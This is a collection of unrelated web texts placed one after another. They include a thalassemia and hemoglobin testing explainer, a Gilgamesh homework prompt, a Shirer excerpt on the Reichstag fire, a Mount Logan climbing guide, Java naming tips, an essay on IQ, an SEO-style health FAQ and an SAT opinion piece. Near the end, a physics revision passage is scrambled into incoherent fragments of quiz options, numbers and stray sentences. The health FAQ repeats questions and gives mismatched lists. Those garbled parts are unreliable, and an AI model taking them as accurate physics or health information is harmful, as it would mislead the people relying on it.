Hemoglobin (Hb or Hgb) is a substance present in all red blood cells (RBCs). It is important for proper red blood cell function because it carries the oxygen that RBCs deliver around the body. One portion of hemoglobin called heme is the molecule with iron at the center. Another portion is made of up four protein chains called globins. Each of the four globin chains holds a heme group containing one iron atom. Depending on their structure, the globin chains are designated as alpha, beta, gamma, or delta.
Not all hemoglobin is the same. Different types of hemoglobin are classified according to the type of globin chains they contain. The type of globin chains present is important in hemoglobin’s ability to transport oxygen.
Normal hemoglobin types include:
• Hemoglobin A – this is the predominant type of Hb in adults (about 95-98%); Hb A contains two alpha (α) protein chains and two beta (ß) protein chains.
• Hb A2 – makes up about 2-3.5% of Hb found in adults; it has two alpha (α) and two delta (δ) protein chains.
• Hb F – makes up to 2% of Hb found in adults; it has two alpha (α) and two gamma (γ) protein chains. Hb F is the primary hemoglobin produced by a developing baby (fetus) during pregnancy. Its production usually falls to a low level within a year after birth.
People with thalassemia have one or more genetic mutations that they have inherited and that result in a decreased production of normal hemoglobin. When the body doesn’t make enough normal hemoglobin, red blood cells do not function properly and oxygen delivery suffers. This can lead to anemia with signs and symptoms that can range from mild to severe, depending on the type of thalassemia that a person has. Examples of signs and symptoms include weakness, fatigue, and pale skin (pallor). See the Classifications section for more about the signs, symptoms, and complications of the different types of thalassemia.
For hemoglobin, there are four genes in our DNA that code for the alpha globin chains and two genes (each) for the beta, delta, and gamma globin chains. Since everyone inherits a set of chromosomes from each parent, each person inherits two alpha globulin genes and one beta globulin gene from each parent. (For general information on genetics, see The Universe of Genetic Testing.) A person may inherit mutations in either the alpha or beta globin genes.
With thalassemias, mutations in one or more of the globin genes cause a reduction in the amount of the particular globin chain produced. This can upset the balance of alpha to beta chains, resulting in unusual forms of hemoglobin or an increase in the amount of normally minor hemoglobin, such as Hb A2 or Hb F. The thalassemias are usually classified by the type of globin chain whose synthesis is decreased. For example, the most common alpha chain-related condition is called alpha thalassemia. The severity of this condition depends on the number of genes affected.
Other types of mutations in the genes coding for the globin chains can result in a globin that is structurally altered, such as hemoglobin S, which causes sickle cell. The inherited disorders that result in the production of an abnormal hemoglobin molecule are described in the article on Hemoglobin Abnormalities. Together, thalassemia and hemoglobin abnormalities are called hemoglobinopathies.
• Silent Carrier State (1 gene affected)
• Alpha Thalassemia Trait (2 genes affected)
• Hemoglobin H Disease (3 genes affected)
• Beta Thalassemia Trait or Beta Thalassemia Minor
• Thalassemia Intermedia
• Thalassemia Major or Cooley’s Anemia
• Hb E-beta thalassemia
• Hb S-beta thalassemia or sickle cell-beta thalassemia
Laboratory Tests for Thalassemia
Several laboratory tests may be used to help detect and diagnose thalassemia:
Complete blood count (CBC)
The CBC is an evaluation of the cells in the blood. Among other things, the CBC determines the number of red blood cells present and how much hemoglobin is in them. It evaluates the size and shape of the red blood cells present, reported as the red cell indices. These include the mean corpuscular volume (MCV), a measurement of the size of the red blood cells. A low MCV is often the first indication of thalassemia. If the MCV is low and iron deficiency has been ruled out as a cause, thalassemia should be considered.
Blood smear (also called peripheral smear and manual differential)
In this test, a trained laboratory professional examines a thin layer of blood that is treated with a special stain, on a slide, under a microscope. The number and type of white blood cells, red blood cells, and platelets are evaluated to see if they are normal and mature. With thalassemia, the red blood cells often appear smaller than normal (microcytic, low MCV). Red cells may also:
• Be paler than normal (hypochromic)
• Vary in size and shape (anisocytosis and poikilocytosis)
• Have uneven hemoglobin distribution (producing “target cells” that look like a bull’s-eye under the microscope)
The greater the percentage of abnormal-looking red blood cells, the greater the likelihood of an underlying disorder and decreased ability of the RBCs to carry oxygen.
Iron studies
These may include: iron, ferritin, unsaturated iron binding capacity (UIBC), total iron binding capacity (TIBC), and percent saturation of transferrin. These tests measure different aspects of the body’s iron storage and usage. The tests are ordered to help determine whether an iron deficiency is the cause of a person’s anemia. One or more of them may also be ordered to help monitor the degree of iron overload in an individual with thalassemia.
• Alpha thalassemia is sometimes confused with iron deficiency anemia because both disorders have smaller than usual (microcytic) red blood cells. If someone has thalassemia, his or her iron levels are not expected to be low. Iron therapy will not help people with alpha thalassemia and may lead to iron overload, which can cause organ damage over time.
• Erythrocyte porphyrin tests may be used to distinguish an unclear beta thalassemia minor diagnosis from iron deficiency or lead poisoning. Individuals with beta thalassemia will have normal porphyrin levels, but those with the latter conditions will have elevated porphyrin.
Hemoglobinopathy (Hb) evaluation (hemoglobin electrophoresis)
This test assess the type and relative amounts of hemoglobin present in red blood cells. Hemoglobin A (Hb A), composed of both alpha and beta globin, is the type of hemoglobin that normally makes up 95% to 98% of hemoglobin in adults. Hemoglobin A2 (HbA2) is usually 2% to 3% of hemoglobin in adults, while hemoglobin F usually makes up less than 2%.
Beta thalassemia upsets the balance of beta and alpha hemoglobin chain formation and causes an increase in those minor hemoglobin components. So individuals with the beta thalassemia major usually have larger percentages of Hb F. Those with beta thalassemia minor usually have elevated fraction of Hb A2. Hb H is a less common form of hemoglobin that may be seen in some cases of alpha thalassemia. Hb S is the hemoglobin more common in people with sickle cell disease.
Hemoglobinopathy (Hb) evaluations are used for state-mandated newborn hemoglobin screening and prenatal screening when parents are at high risk for hemoglobin abnormalities.
DNA analysis
These tests are used to help confirm mutations in the alpha and beta globin-producing genes. DNA testing is not routinely done but can be used to help diagnose thalassemia and to determine carrier status, if indicated.
• For beta thalassemia, the hemoglobin beta gene, HBB, may be analyzed or sequenced to confirm the presence of thalassemia-causing mutations. Genetic tests may also be given for other HBB mutations such as Hb S mutation, which is associated with sickle cell disease. More than 250 mutations have been associated with beta thalassemia, though some cause no signs or symptoms. However, others decrease the amount of beta globin production and some prevent it completely. The presence of one of those mutations confirms a diagnosis of beta thalassemia.
• The primary molecular test available for alpha thalassemia detects common mutations (e.g., deletions) in the two alpha genes HBA1 and HBA2. Each person has two copies of each of these genes, called alleles, in their cells, one from their mother and one from their father. These alleles govern alpha globin production and if mutations lead to functional loss of one or more of alpha genes, alpha thalassemia occurs.
Since having relatives who carry mutations for thalassemia increases a person’s risk of carrying the same mutant gene, family studies may be done to evaluate carrier status and the types of mutations present in other family members if deemed necessary by a healthcare practitioner.
Genetic testing of amniotic fluid is used in the rare instances a fetus is at increased risk for thalassemia. This is especially important if both parents likely carry a mutation because that increases the risk that their child may inherit a combination of abnormal genes, causing a more severe form of thalassemia.
Most individuals with mild thalassemia traits require no treatment. They may want to consider genetic counseling, however, because they may pass the mutant gene on to their children.
People with hemoglobin H disease or beta thalassemia intermedia will experience variable amounts of anemia throughout their life. They can live relatively normal lives but will require regular monitoring and may occasionally need blood transfusion. Folic acid supplementation is often given, but iron supplementation is not recommended.
Those with beta thalassemia major will usually require regular blood transfusions, as frequently as every few weeks, and chelation therapy to remove iron throughout their life. These transfusions help maintain hemoglobin at a high enough level to provide oxygen to the body and prevent growth abnormalities and organ damage. Frequent transfusions, however, can raise body iron to toxic levels, resulting in deposits of iron in the liver, heart, and other organs. Regular iron chelation therapy is used to help decrease iron in the body.
Bone marrow transplant known as hematopoietic stem cell transplantation can also be used for treatment of beta thalassemia major.
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The Epic of Gilgamesh, English homework help
1. On the Themes in “Two Brothers” and “The Joseph Story” document, I have listed ten themes. In your post for this week, you need to choose one or two themes from the list. Then, write a paragraph about how two passages – one from each work – correspond to the chosen theme(s). Your post must show how the passages relate to the chosen theme. To do this, you need to use words from the passages and explain how they address the theme. You should pull phrases from the entire passage, which means that you should use words from different parts (beginning, middle, end) of the passage.
2. List one connection you made between The Epic of Gilgamesh and “Two Brothers” or “The Joseph Story.” Quote and cite one passage from each text to prove your connection.
3. This is not an essay 1-2 paragraphs should be enough
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THE REICHSTAG FIRE - THE NAZIFICATION OF GERMANY: 1933–34 - TRIUMPH AND CONSOLIDATION - The Rise and Fall of the Third Reich: A History of Nazi Germany - William L. Shirer
Military history
But the diners at the Herrenklub were just around the corner from the Reichstag.
Suddenly [Papen later wrote] we noticed a red glow through the windows and heard sounds of shouting in the street. One of the servants came hurrying up to me and whispered: “The Reichstag is on fire!” which I repeated to the President. He got up and from the window we could see the dome of the Reichstag looking as though it were illuminated by searchlights. Every now and again a burst of flame and a swirl of smoke blurred the outline.5
The Vice-Chancellor packed the aged President home in his own car and hurried off to. the burning building. In the meantime Goebbels, according to his account, had had second thoughts about Putzi Hanfstaengl’s “tall tale,” had made some telephone calls and learned that the Reichstag was in flames. Within a few seconds he and his Fuehrer were racing “at sixty miles an hour down the Charlottenburger Chaussee toward the scene of the crime.”
That it was a crime, a Communist crime, they proclaimed at once on arrival at the fire. Goering, sweating and puffing and quite beside himself with excitement, was already there ahead of them declaiming to heaven, as Papen later recalled, that “this is a Communist crime against the new government.” To the new Gestapo chief, Rudolf Diels, Goering shouted, “This is the beginning of the Communist revolution! We must not wait a minute. We will show no mercy. Every Communist official must be shot, where he is found. Every Communist deputy must this very night be strung up.”6
The coincidence that the Nazis had found a demented Communist arsonist who was out to do exactly what they themselves had determined to do seems incredible but is nevertheless supported by the evidence. The idea for the fire almost certainly originated with Goebbels and Goering. Hans Gisevius, an official in the Prussian Ministry of the Interior at the time, testified at Nuremberg that “it was Goebbels who first thought of setting the Reichstag on fire,” and Rudolf Diels, the Gestapo chief, added in an affidavit that “Goering knew exactly how the fire was to be started” and had ordered him “to prepare, prior to the fire, a list of people who were to be arrested immediately after it.” General Franz Halder, Chief of the German General Staff during the early part of World War II, recalled at Nuremberg how on one occasion Goering had boasted of his deed.
At a luncheon on the birthday of the Fuehrer in 1942 the conversation turned to the topic of the Reichstag building and its artistic value. I heard with my own ears when Goering interrupted the conversation and shouted: “The only one who really knows about the Reichstag is I, because I set it on fire!” With that he slapped his thigh with the flat of his hand.*
Van der Lubbe, it seems clear, was a dupe of the Nazis. He was encouraged to try to set the Reichstag on fire. But the main job was to be done—without his knowledge, of course—by the storm troopers. Indeed, it was established at the subsequent trial at Leipzig that the Dutch half-wit did not possess the means to set so vast a building on fire so quickly. Two and a half minutes after he entered, the great central hall was fiercely burning. He had only his shirt for tinder. The main fires, according to the testimony of experts at the trial, had been set with considerable quantities of chemicals and gasoline. It was obvious that one man could not have carried them into the building, nor would it have been possible for him to start so many fires in so many scattered places in so short a time.
Van der Lubbe was arrested on the spot and Goering, as he afterward told the court, wanted to hang him at once. The next day Ernst Torgler, parliamentary leader of the Communists, gave himself up to the police when he heard that Goering had implicated him, and a few days later Georgi Dimitroff, a Bulgarian Communist who later became Prime Minister of Bulgaria, and two other Bulgarian Communists, Popov and Tanev, were apprehended by the police. Their subsequent trial before the Supreme Court at Leipzig turned into something of a fiasco for the Nazis and especially for Goering, whom Dimitroff, acting as his own lawyer, easily provoked into making a fool of himself in a series of stinging cross-examinations. At one point, according to the court record, Goering screamed at the Bulgarian, “Out with you, you scoundrel!”
JUDGE [to the police officer]: Take him away.
DIMITROFF [being led away by the police]: Are you afraid of my questions, Herr Ministerpraesident?
GOERING: You wait until we get you outside this court, you scoundrel!
Torgler and the three Bulgarians were acquitted, though the German Communist leader was immediately taken into “protective custody,” where he remained until his death during the second war. Van der Lubbe was found guilty and decapitated.7
The trial, despite the subserviency of the court to the Nazi authorities, cast a great deal of suspicion on Goering and the Nazis, but it came too late to have any practical effect. For Hitler had lost no time in exploiting the Reichstag fire to the limit.
Thus with one stroke Hitler was able not only to legally gag his opponents and arrest them at his will but, by making the trumped-up Communist threat “official,” as it were, to throw millions of the middle class and the peasantry into a frenzy of fear that unless they voted for National Socialism at the elections a week hence, the Bolsheviks might take over. Some four thousand Communist officials and a great many Social Democrat and liberal leaders were arrested, including members of the Reichstag, who, according to the law, were immune from arrest. This was the first experience Germans had had with Nazi terror backed up by the government. Truckloads of storm troopers roared through the streets all over Germany, breaking into homes, rounding up victims and carting them off to S.A. barracks, where they were tortured and beaten. The Communist press and political meetings were suppressed; the Social Democrat newspapers and many liberal journals were suspended and the meetings of the democratic parties either banned or broken up. Only the Nazis and their Nationalist allies were permitted to campaign unmolested.
With all the resources of the national and Prussian governments at their disposal and with plenty of money from big business in their coffers, the Nazis carried on an election propaganda such as Germany had never seen before. For the first time the State-run radio carried the voices of Hitler, Goering and Goebbels to every corner of the land. The streets, bedecked with swastika flags, echoed to the tramp of the storm troopers. There were mass rallies, torchlight parades, the din of loudspeakers in the squares. The billboards were plastered with flamboyant Nazi posters and at night bonfires lit up the hills. The electorate was in turn cajoled with promises of a German paradise, intimidated by the brown terror in the streets and frightened by “revelations” about the Communist “revolution.” The day after the Reichstag fire the Prussian government issued a long statement declaring that it had found Communist “documents” proving:
Government buildings, museums, mansions and essential plants were to be burned down … Women and children were to be sent in front of terrorist groups … The burning of the Reichstag was to be the signal for a bloody insurrection and civil war … It has been ascertained that today was to have seen throughout Germany terrorist acts against individual persons, against private property, and against the life and limb of the peaceful population, and also the beginning of general civil war.
Publication of the “documents proving the Communist conspiracy” was promised, but never made. The fact, however, that the Prussian government itself vouched for their authenticity impressed many Germans.
The waverers were also impressed perhaps by Goering’s threats. At Frankfurt on March 3, on the eve of the elections, he shouted:
Fellow Germans, my measures will not be crippled by any judicial thinking … I don’t have to worry about justice; my mission is only to destroy and exterminate, nothing more! … Certainly, I shall use the power of the State and the police to the utmost, my dear Communists, so don’t draw any false conclusions; but the struggle to the death, in which my fist will grasp your necks, I shall lead with those down there—the Brownshirts.9
Almost unheard was the voice of former Chancellor Bruening, who also spoke out that day, proclaiming that his Center Party would resist any overthrow of the constitution, demanding an investigation of the suspicious Reichstag fire and calling on President Hindenburg “to protect the oppressed against their oppressors.” Vain appeal! The aged President kept his silence. It was now time for the people, in their convulsion, to speak.
On March 5, 1933, the day of the last democratic elections they were to know during Hitler’s life, they spoke with their ballots. Despite all the terror and intimidation, the majority of them rejected Hitler. The Nazis led the polling with 17,277,180 votes—an increase of some five and a half million, but it comprised only 44 per cent of the total vote. A clear majority still eluded Hitler. All the persecution and suppression of the previous weeks did not prevent the Center Party from actually increasing its vote from 4,230,600 to 4,424,900; with its ally, the Catholic Bavarian People’s Party, it obtained a total of five and a half million votes. Even the Social Democrats held their position as the second largest party, polling 7,181,629 votes, a drop of only 70,000. The Communists lost a million supporters but still polled 4,848,058 votes. The Nationalists, led by Papen and Hugenberg, were bitterly disappointed with their own showing, a vote of 3,136,760, a mere 8 per cent of the votes cast and a gain of less than 200,000.
Still, the Nationalists’ 52 seats, added to the 288 of the Nazis, gave the government a majority of 16 in the Reichstag. This was enough, perhaps, to carry on the day-to-day business of government but it was far short of the two-thirds majority which Hitler needed to carry out a new, bold plan to establish his dictatorship by consent of Parliament.
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Mountain Climbing
Mt. Logan
The southeast view of Canada’s tallest mountain, Mount Logan
Location: Canada
Elevation: 5, 959 meters
Mount Logan is the highest peak in Canada and the second-highest in North America next to Mount McKinley in Alaska, United States. The mountain belongs to the Saint Elias Mountain Range and is located in Kluane National Park and Reserve. It was named after a Canadian geologist, Sir William Edmond Logan, who founded the Geological Survey of Canada.
Active tectonic uplifting causes Mt. Logan to still rise in height. Logan is notable for having the largest base circumference among non-volcanic mountains on Earth. To put the size in perspective, you could put Mt. Eiger, Mont Blanc, and Mt. Kilimanjaro on top of the plateau summit and still has a few spaces left. It is also the center of an enormous glacial expanse in the continent and one of the world’s most extensive non-polar ice fields.
The areas on and near the mountain have low temperatures. At 5000 meter altitude, the air conditions stay near 0℃ in Summer and reach up to -47℃ during Winter.
The first ascent to the summit was in 1925 through an expedition led by A.H. MacCarthy and H.F. Lambert. It took them 65 days to reach and return from the summit with all trekkers intact. Today, the mountain can be climbed using 13 different routes. The easiest and the most popular way to reach the peak is via the King Trench route, which was also used by MacCarthy and Lambert’s team.
About the King Trench Route trek
The route to Mt. Logan at Kluane National Park and Reserve
Unlike in 1925, modern trekkers can now finish the climb in three weeks. An air taxi has been installed from Kluane Lake to Alaska-Yukon, speeding up the trip. This route also offers long, glacial landscapes perfect for ski touring. Qualifications for prospect climbers include glacial maneuvering, winter camping, crampons, roped glacier travel, and crevasse rescue skills. There are four to five camps to be set up within the week, and baggage can be carried using glacier sleds. Trekkers must prepare themselves for non-step four-mile travel from the high camping grounds to the summit. It will also involve glacial traverse through icefalls, crevasses, 50-degree slopes, and frigid temperatures. The greatest challenge for the climb is not its technical difficulty but surviving the possible extreme weather conditions while carrying heavy supplies for weeks.
When is the best time for the climb
The weather conditions above Mt. Logan is volatile as storms can occur pretty quickly. Therefore, the best time to climb is from late Spring to Early Summer. Generally, May is an excellent month to go as it is significantly drier than June, July, or August.
How long is the hike to Mt. Logan summit
Sun-kissed view of Saint Elias Mountain Range
The first day begins with a two-hour shuttle ride to Kluane Lake, where trekkers will be setting up a camp near the airstrip. This day is also dedicated to checking the things needed to carry and inspect whether the gears are functioning correctly. The next day will be the flight to the QuintinoSella Glacier base camp. As some flights are often delayed, some trekkers stay up to four nights at the Kluane Lake. Upon reaching the base camp at about 2700 meter elevation, there will be a six-hour hike along a crevassed section to the entrance of King Trench. This place is considered as Camp 1.
Tomorrow will be the ski ascent to Camp 2, which is the King Col (4000-meter elevation). The route has a lower angle allowing trekkers to pull their supplies easily using a sled. After King Col is Camp 3 at Prospector Col, the section between Camp 2 and Camp 3 is the route’s crux. You will be required to carry the supplies using backpacks. Some places have massive crevasses, and slopes can reach up to 45 degrees. The strategy, therefore, is to approach the course using the “carry high-sleep low” method. This approach is to ascend no more than 600 meters per day to help trekkers acclimatize to higher elevations. From the high camp, trekkers have to wait for the best weather window to attempt the summit.
If everything went as planned, you would be left with a week’s supply of food before continuing the trek. It will take around three to four miles to reach the summit from the high camp. It is not steep terrain, but it sure would test your endurance. Brace yourself for a 10-15 hour journey before conquering Canada’s highest point.
The remaining days will be the descent down the mountain. You will start going back to Prospectors Col and stay the night there. The next day you will descend to Camp 2 or continue as far as possible. If you are lucky upon reaching QuintinoSella Glacier base camp, you can immediately take a ride back to Kluane Lake. If not, you must camp for days near the airstrip.
How much does the hike cost
As this is relatively a long expedition, trekking cost varies from USD 5000 up to USD 7700. Most agencies include guiding services, climbing permits, entrance fees, flight from Haines Junction to the base camp, and all meals and climbing equipment.
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Java Variable Naming Conventions.
Some basic convention rules for java variable:
1. Variable name always start with letter rather than number,$(dollar) and _(underscore).
Valid Variables Name Based On Convention:
int marks, int sumOfTwoNumbers, int listOfStudents etc
Variables Name Without Naming Convention:
int $marks, int _marks, int sum_Of_Two_Numbers, int list_of_students etc ( these all variables will work but i will suggest to not use these kind of variables and you must follow the proper naming convention for proper understanding of code and their meaning.
Invalid Variable:
int 1marks, int sum&Of, int list%Of etc
2. Name should be meaningful full word. If your variable name contains combination of two or more words then first word should be start with lower letter and then remaining words first letter should be start with capital.
3. If variables stores constant value then variable name should be in capital and if more then two words then separate words with underscore(_).
static final int RECORDS_PER_PAGE = 10;
static final int MAX_RECORDS_PER_PAGE=100;
4. Special characters are not allowed like #$%^&*@ etc
5. Variable are case-sensitive.
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1. Forum
2. >
3. Topic: French
4. >
5. "He speaks, thank you!"
"He speaks, thank you!"
January 25, 2013
is "merci" always accompanied by a space followed by an exclamation point?
No, not always, only when it is necessary to reflect the intention of the writer.
Here, you have a comma, to build an "apposition" between the fact that the speaker mentions that a man is speaking and the fact that he politely invites another person to be quiet.
The exclamation point is there to indicate the tone of the sentence.
Learn French in just 5 minutes a day. For free. |
brain by Jon Phillips
Post Format
What if we could measure intelligence?
Intelligence has been defined in many ways: the capacity for logicunderstandingself-awarenesslearningemotional knowledgereasoningplanningcreativitycritical thinking, and problem solving. More generally, it can be described as the ability to perceive or infer information, and to retain it as knowledge to be applied towards adaptive behaviors within an environment or context.
Despite the difficulty of defining it, it’s a word we use a lot, and not just for humans. We measure intelligence in animals and also Artificial Intelligence, but it’s when it comes to measuring it in humans that it’s particularly controversial, and for understandable reasons.
In the early 20th century the United States carried out forced sterilisations of people deemed unfit, sometimes on the basis of intelligence tests, and the Nazis forcibly sterilised and in many cases killed people on the basis of IQ tests.
The Flynn Effect
This is the idea that each generation scores higher on IQ tests than the generation before it.
Which suggests that what we’re measuring in IQ tests is not entirely innate, it’s something that can be learned, though there’s an innate element to it, a genetic component as well as an environmental component. To some extent it may be like a muscle, something we can strengthen by exercise and training.
IQ as a measure of human value
Perhaps this is really why it’s so controversial. If we were talking about measuring heights there’d be no controversy. We accept that some people are tall, some are short and most are somewhere in between. We also accept that men are generally taller than women and that some ethnic groups are on average taller than others. There’s no controversy there because we don’t regard height as a valid measure of human worth. Maybe there was a time when we did, and maybe there’s a height bias left over from that time, but people wouldn’t admit to being height biased (except on a dating website) whereas most of us are quite openly intelligence biased. We’ll speak more highly of someone we regard as intelligent than of someone we regard as stupid. Though short people can face insults, and extremely tall people as well sometimes, to be called stupid is I think far more hurtful.
Being tall, physically strong, a fast runner… these things all used to be more highly valued than they are now. There was a time when those attributes were a major determinant over whether or not you’d survive long enough to procreate. But so was a quick wit, and so was intelligence.
What about footballing intelligence? As David Beckham curves a ball around defenders and goal keeper into the back of the net, isn’t that a kind of intelligence, though one that probably wouldn’t be picked up by an IQ test? Or musical intelligence? Or creativity?
You can roughly measure those things though. You could see if there was a correlation between IQ scores and musical ability. So do the top musicians and the top composers and song writers tend to score well in IQ tests or are they no better than average, or worse even? How about the top footballers, or the top artists? If there’s a correlation, that would suggest that IQ is measuring something that is of some use in the activities we value highly.
The problem on the left
If you believe that humans are fundamentally equal and should be treated as such then what appears to be a measure of human value is bound to be seen as a threat. What if you could show that the upper classes were more intelligent than the working classes, or that one ethnic group was more intelligent than another. That would be pretty devastating, wouldn’t it?
Not necessarily. Firstly, average group differences don’t tell you anything about an individual. For instance, though men are taller than women, there are lots of women who are taller than lots of men. There’s a huge overlap in the distributions. So if you found that one ethnic group was on average slightly more intelligent than the population as a whole, or slightly less intelligent, there’d be no justification in treating the members of that ethnic group any differently from anyone else.
There’d certainly be people who’d argue that these differences would justify a form of apartheid, but we need to tackle that argument head on, not hide behind the idea that intelligence can’t be measured or doesn’t exist. It may be though that we can’t measure it as accurately as some contend, the error bars may be quite large, but having some idea of someone’s intelligence can be very useful. I’ve been watching the Netflix docuseries Making A Murderer where the court cases often reference the low IQs of the defendants, the defence using this information to support their contention that the confession of one of them was coerced. Just as a just society should take people’s physical disabilities into account, it should also take mental disabilities into account.
Secondly, intelligence is not a complete measure of human value. You could be very intelligent but also very lazy, or very mean. Psychopaths can be very intelligent. And people with low IQ scores could be brilliant musically or in some other way.
Emotional intelligance
Some people talk about EQ, a measure of emotional intelligence, suggesting it’s something that can be defined and measured, though it’s not easy to see how. It’s something women on dating sites seem to want men to have, and something Jordan Peterson claims doesn’t exist.
But maybe the women on dating sites are onto something. Women do seem to want men to know what they’re feeling without them having to spell it out, and there’s a kind of intelligence in being able to read the cues and know what someone is feeling, and maybe feel it yourself to some extent too. Ie. empathy.
So let’s say IQ, with all its limitations, is something we can measure quite well and quite consistently…
Should we?
Or is it one of those things it’s better not to know? |
Quick Answer: What Are The Social Factors That Are The Greatest Threat To Health?
What are the 3 main factors that affect your health?
What are the 12 social determinants of health?
What are the 7 determinants of health?
What are examples of social factors?
Socially factors are things that affect someone’s lifestyle. These could include wealth, religion, buying habits, education level, family size and structure and population density.
What are 10 factors that affect health status?
What are 10 factors that affect health status?health knowledge.accessing health information, products, & services.behaviors.influences such as culture, media, & technology.communication skills.decsions.health advocacy skills.heredity.
What are the 14 social determinants of health?
The social determinants of health influence the health of populations. They include income and social status; social support networks; education; employment/working conditions; social environments; physical environments; personal health practices and coping skills; healthy child development; gender; and culture.
How can heredity positively affect your health?
What are some social factors that affect health?
Social determinants of health such as poverty, unequal access to health care, lack of education, stigma, and racism are underlying, contributing factors of health inequities. The Centers for Disease Control and Prevention (CDC) is committed to achieving improvements in people’s lives by reducing health inequities.
What are 5 factors that affect your total health?
So just what are the most important factors for establishing optimum health. Studies indicate that the following five factors make the biggest difference in overall health and wellness: 1) diet; 2) rest; 3) exercise; 4) posture; and 5) avoiding the use of alcohol, drugs and tobacco.
What are 10 lifestyle factors that promote good health?
Seven Lifestyle Factors That Will Benefit Your HealthA healthy balanced diet. When you eat healthily and make sure your body is getting the right nutrition, you are providing it with a sustaining energy. … Drinking lots of water. … Exercising regularly. … Plenty of sleep. … Not smoking. … Reducing alcohol consumption. … Keep a check on mental and physical health.
What are the 5 lifestyle factors?
We included 5 lifestyle-related factors: diet, smoking, physi- cal activity, alcohol consumption, and BMI.
What is the most important social determinant of health?
Housing, social services, geographical location, and education are some of the most common social determinants of health. These factors have a significant impact on the current healthcare landscape. As more healthcare organizations deliver value-based healthcare, they are developing strategies to drive wellness care.
How can you promote good health?
Is having good health the same as not being sick?
What factors affect health and wellbeing?
Factors that influence wellbeingHappy intimate relationship with a partner.Network of close friends.Enjoyable and fulfilling career.Enough money.Regular exercise.Nutritional diet.Enough sleep.Spiritual or religious beliefs.More items…•
What are the four factors that affect health?
The components are Diet: what and how we eat; Environment: how we select and modify our surroundings; Activity: how we exercise, rest and sleep; and Psychology: how we view ourselves and interact with others.
What are life factors?
Lifestyle factors are the modifiable habits and ways of life that can greatly influence overall health and well-being, including fertility.
What are the 6 main social determinants of health?
In 2003, the World Health Organization Europe suggested that the social determinants of health included socioeconomic position, early life, social exclusion, work, unemployment, social support, addiction, food and transportation (Wilkinson & Marmot eds. |
Last updateWed, 24 Feb 2021 1pm
Volume 90 (Fall 2017 - Spring 2018)
Are the SATs Fair?
default article imagePencils? Check. Calculator? Check. Water bottle and granola bars? Check.
Anyone who has ever taken the Scholastic Aptitude Test, commonly known as the SAT, knows this checklist incredibly well. Students spend months preparing, and parents sometimes spend hundreds of dollars on tutors to help their kids succeed on the SATs. I can’t help but ask myself why? Why do we really take the SATs, and what does the exam actually measure?
The SAT isn’t meant to rate intelligence or how well a student has grasped the material learned in high school. The exam is used as a tool to determine a students’ general knowledge in mathematics, critical reading, and writing. Meaning that, the test isn’t an accurate measure of how much a student knows, nor is it an effective method of determining how well a student will succeed in college.
The exam is administered, scores are released a few weeks later, and students then send their scores to their prospective universities without getting a full understanding of what they did right or wrong. If students are required to take a generic exam that tests their basic knowledge, there should be more feedback given to the students on what needs more improvement, as well as what the student does well. Feedback could be the difference between a student who takes the SAT repeatedly without knowing what he or she is doing wrong, and a student who takes the SAT more than once, but knows what corrections to make, as well as what type of academic criticism to expect in college.
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Contact Information
The Outlook
Jules L. Plangere Jr. Center for Communication
and Instructional Technology (CCIT)
Room 260, 2nd floor
The Outlook
Monmouth University
400 Cedar Ave, West Long Branch, New Jersey
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What is the basis of the ability of a transistor to amplify electrical signals?
When the emitter pn junction is turned on in the forward direction, the emitter injects into the base a large number of minority carriers – holes. As a result, the resistance of the emitter junction turns out to be small. Therefore, with a small change in the base raised, due to a change in the amplified signal U, the current I of the emitter will change greatly due to the small resistance of the emitter junction.
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Introduction to work and energy. flowing through the battery is In an electrical circuit, the presence of a resistor limits the current and prevents damage related to short circuits. the temperature of the wire D 1 only B L1 is brighter than L2 which has the same brightness as L3 A 3/4 ohms. minute when a current of 3 A is flowing? 40 C. D thicker wire We also operate the Landsat satellite program with NASA, and maintain the largest civilian collection of images of the Earth’s land surface in existence, including tens of millions of satellite of the following changes would increase electrical resistance? zero. The working resistance of the headlamp is 8 The total D power. 3 ohms. Next Question > Flow of water. 1. If a resistor is added in parallel with one of much smaller resistance, shorter wire of 10 mA flows for 50 s? D 7.5 A. B 3 alone to a 12 V battery which has no These electrical charges travel through the power lines, bringing electricity into homes and businesses. B Created by teachers for Physics revision. E resistance. E some other response, 28 The 20 C. The steady flow of electric charges in a wire is called electric current. E zero, 9 Electricity only flows inside wires. Electric current is the same as electrical energy . Current/Voltage Characteristics – ohmic conductor, semiconductor diode, filament lamp and Ohm’s Law. temperature. E is halved, 5 internal resistance. electricity bill? A increases by a small fraction A 1,2 and 3 the 2 ohm coil is E of the following components has/have the same resistance to electric currents 24.2)? L1 2 When the switch is closed which of the following statements correctly Electricity Revision Notes Set 2. A feeder runs from one part of a building to another under the floor in two parallel sets of rigid non … A 1/6 ohms. D A 1 alone 1. brighter electric lamp is labeled 6 V 0.5 A. A 2 D Questions organised by topic, past papers & mark schemes. Electricity occurs when there is a flow of electric charge. You charge up a cat by brushing it with a plastic comb so that the cat now has charge +q and the comb has charge –q.You charge up a test mouse to +1nC with a second comb, take that comb a long way away, then 7 Workshop Tutorials for Biological and Environmental Physics ER2B: Electric Fields A. Qualitative Questions: 1. & 250 V? Work and energy (part 2) Work and the work-energy principle. D 4 ohms Potential Difference: The energy lost per unit charge by charges passing through a component (from electrical to other forms). using a C energy. C remains the same The greatest current that could possibly be obtained from such a battery is ... For each of the questions, one or more than one of the responses (i), (ii), (iii) (or 1, 2, 3) is/are correct. The potential difference or voltage, V between 2 points is defined as the work done, W in taking 1 C of positive charge from the lower potential to the point of higher potential. 12 On The e.m.f of a battery is measured in the same units as diode 2 uses 20 kilowatt-hours of C 3 It may have its range increased which one of the following does the electrical resistance of a wire not depend? 2 a E 1,2 and 3, 25 AS - Electricity. Circuits and Practical Electric Circuitry.. using a thinner wire Take this quiz to find out how much you know about electricity and how it works! Resistance is the part of an electrical circuit that resists the flow of electricity (for example, by transforming it into heat or light, as in a light bulb or a buzzer). Science Worksheets. At the USGS EROS Center, we study land change and produce land change data products used by researchers, resource managers, and policy makers across the nation and around the world. E 180, 2. is 15 When an electrical outlet’s not working, or you need to know which electrical wire is hot during a job you’re doing, a simple Internet search usually delivers more questions than answers. 2 C power 1 cross-sectional area. Next Question > Flow of atoms. D 2 and 3 6 ohms C l and 2 A Level. A, B, C, D, E. which represents the correct responses. A 0.2 C The ratio of the value of the quantity of heat generated in a conductor when a current flows through it is The load that can be used for the service calculation for a dwelling unit with a range rated at 13 KW … A 80 C. B 3 |
Describe Australia's trade and industries.
Expert Answers
